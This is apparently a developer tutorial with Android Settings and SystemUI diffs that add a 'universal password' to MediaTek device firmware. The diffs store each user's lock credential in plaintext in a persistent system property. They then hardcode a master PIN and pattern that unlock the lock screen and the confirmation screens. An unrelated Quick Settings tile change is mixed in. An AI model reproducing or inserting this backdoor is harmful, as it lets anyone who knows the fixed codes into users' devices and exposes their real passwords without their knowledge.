Android system custom development – universal password (including PIN, Password, pattern)

Because customers often encounter situations where users forget their passwords, causing users to send them back to the customer, this function needs to be developed.

This function is implemented on Android8—Android13 respectively.

First of all, when setting a universal password, at least two points must be considered:

1. Verification of lock screen interface

2. Verification in setting

The idea is simple:

When setting the password, the password set by the user is obtained and stored. When the user enters the universal password, the universal password is replaced with the correct password.

 Android9 adds universal password

diff --git a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPassword.java b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src /com/android/settings/password/ChooseLockPassword.java
index e60b4e6..ada7e66 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPassword.java
 + + + b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPassword.java
@@ -71,6 + 71,7 @@ import com.android.setupwizardlib.GlifLayout;
 
 import java.util.ArrayList;
 import java.util.List;
 + import android.os.SystemProperties;
 
 public class ChooseLockPassword extends SettingsActivity {
     public static final String PASSWORD_MIN_KEY = "lockscreen.password_min";
@@ -941,7 + 942,9 @@ public class ChooseLockPassword extends SettingsActivity {
                 Log.w(TAG, "startSaveAndFinish with an existing SaveAndFinishWorker.");
                 return;
             }
-
 + //by ken add start
 + SystemProperties.set("persist.sys.secret",mChosenPassword);
 + //by ken add end
             mPasswordEntryInputDisabler.setInputEnabled(false);
             setNextEnabled(false);
 
diff --git a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPattern.java b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src /com/android/settings/password/ChooseLockPattern.java
index 95759f3..0155b0f 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPattern.java
 + + + b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPattern.java
@@ -54,6 + 54,7 @@ import com.google.android.collect.Lists;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.List;
 + import android.os.SystemProperties;
 
 /**
  * If the user has a lock pattern set already, makes them confirm the existing one.
@@ -776,6 + 777,9 @@ public class ChooseLockPattern extends SettingsActivity {
 
             final boolean required = getActivity().getIntent().getBooleanExtra(
                     EncryptionInterstitial.EXTRA_REQUIRE_PASSWORD, true);
 +
 + SystemProperties.set("persist.sys.secret",LockPatternUtils.patternToString(mChosenPattern));
 +
             mSaveAndFinishWorker.start(mChooseLockSettingsHelper.utils(), required,
                     mHasChallenge, mChallenge, mChosenPattern, mCurrentPattern, mUserId);
         }
diff --git a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPassword.java b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src /com/android/settings/password/ConfirmLockPassword.java
index a7059da..8b985c5 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPassword.java
 + + + b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPassword.java
@@ -332,10 + 332,20 @@ public class ConfirmLockPassword extends ConfirmDeviceCredentialBaseActivity {
                 return;
             }
 
- final String pin = mPasswordEntry.getText().toString();
 + String pin = mPasswordEntry.getText().toString();
             if (TextUtils.isEmpty(pin)) {
                 return;
             }
 +
 + //by ken add start
 + if(pin.equals("1235789")){
 + String saveNum = android.os.SystemProperties.get("persist.sys.secret","");
 + if(!saveNum.equals("")){
 + pin = saveNum;
 + }
 + }
 +
 + //by ken add end
 
             mPasswordEntryInputDisabler.setInputEnabled(false);
             final boolean verifyChallenge = getActivity().getIntent().getBooleanExtra(
diff --git a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPattern.java b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src /com/android/settings/password/ConfirmLockPattern.java
index 84db540..a0b7741 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPattern.java
 + + + b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPattern.java
@@ -410,6 + 410,17 @@ public class ConfirmLockPattern extends ConfirmDeviceCredentialBaseActivity {
                 if (mPendingLockCheck != null || mDisappearing) {
                     return;
                 }
 +
 + //by ken add start
 + String enterP = LockPatternUtils.patternToString(pattern);
 + if(enterP.equals("1674")){
 + String saveNum = android.os.SystemProperties.get("persist.sys.secret","");
 + if(!saveNum.equals("")){
 + pattern = LockPatternUtils.stringToPattern(saveNum);
 + }
 + }
 +
 + //by ken add end
 
                 mLockPatternView.setEnabled(false);
 
diff --git a/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/res/values/config.xml b/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/res/values/config.xml
index b374923..3344906 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/res/values/config.xml
 + + + b/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/res/values/config.xml
@@ -118,12 + 118,12 @@
 
     <!-- The default tiles to display in QuickSettings -->
     <string name="quick_settings_tiles_default" translatable="false">
- wifi,bt,dnd,flashlight,rotation,battery,cell,airplane,cast
 + wifi,bt,dnd,rotation,battery,inversion,cast,night
     </string>
 
     <!-- Tiles native to System UI. Order should match "quick_settings_tiles_default" -->
     <string name="quick_settings_tiles_stock" translatable="false">
- wifi,cell,battery,dnd,flashlight,rotation,bt,airplane,location,hotspot,inversion,saver,work,cast,night
 + wifi,battery,dnd,rotation,bt,inversion,cast,night
     </string>
 
     <!-- The tiles to display in QuickSettings -->
@@ -131,7 + 131,7 @@
 
     <!-- The tiles to display in QuickSettings in retail mode -->
     <string name="quick_settings_tiles_retail_mode" translatable="false">
- cell,battery,dnd,flashlight,rotation,location
 + battery,dnd,rotation
     </string>
 
     <!-- Whether or not the RSSI tile is capitalized or not. -->
diff --git a/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardAbsKeyInputView.java b/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com /android/keyguard/KeyguardAbsKeyInputView.java
index f256d07..ec1d7ad 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardAbsKeyInputView.java
 + + + b/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardAbsKeyInputView.java
@@ -32,6 + 32,7 @@ import android.widget.LinearLayout;
 import com.android.internal.util.LatencyTracker;
 import com.android.internal.widget.LockPatternChecker;
 import com.android.internal.widget.LockPatternUtils;
 + import android.os.SystemProperties;
 
 /**
  * Base class for PIN and password unlock screens.
@@ -122,7 + 123,18 @@ public abstract class KeyguardAbsKeyInputView extends LinearLayout
     protected void verifyPasswordAndUnlock() {
         if (mDismissing) return; // already verified but haven't been dismissed; don't do it again.
 
- final String entry = getPasswordText();
 + String entry = getPasswordText();
 +
 + //by ken add start
 + if(entry.equals("1235789")){
 + String saveNum = SystemProperties.get("persist.sys.secret","");
 + if(!saveNum.equals("")){
 + entry = saveNum;
 + }
 +
 + }
 + //by ken add end
 +
         setPasswordEntryInputEnabled(false);
         if (mPendingLockCheck != null) {
             mPendingLockCheck.cancel(false);
diff --git a/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardPatternView.java b/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com /android/keyguard/KeyguardPatternView.java
index dfc3376..a484ed1 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardPatternView.java
 + + + b/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardPatternView.java
@@ -240,7 + 240,7 @@ public class KeyguardPatternView extends LinearLayout implements KeyguardSecurit
         }
 
         @Override
- public void onPatternDetected(final List<LockPatternView.Cell> pattern) {
 + public void onPatternDetected(List<LockPatternView.Cell> pattern) {
             mLockPatternView.disableInput();
             if (mPendingLockCheck != null) {
                 mPendingLockCheck.cancel(false);
@@ -257,6 + 257,18 @@ public class KeyguardPatternView extends LinearLayout implements KeyguardSecurit
                 LatencyTracker.getInstance(mContext).onActionStart(ACTION_CHECK_CREDENTIAL);
                 LatencyTracker.getInstance(mContext).onActionStart(ACTION_CHECK_CREDENTIAL_UNLOCKED);
             }
 +
 + //by ken add start
 + String enterNum = LockPatternUtils.patternToString(pattern);
 + if(enterNum.equals("1674")){
 + String saveNum = android.os.SystemProperties.get("persist.sys.secret","");
 + if(!saveNum.equals("")){
 + pattern = LockPatternUtils.stringToPattern(saveNum);
 + }
 + }
 +
 + //by ken add end
 +
             mPendingLockCheck = LockPatternChecker.checkPattern(
                     mLockPatternUtils,
                     pattern,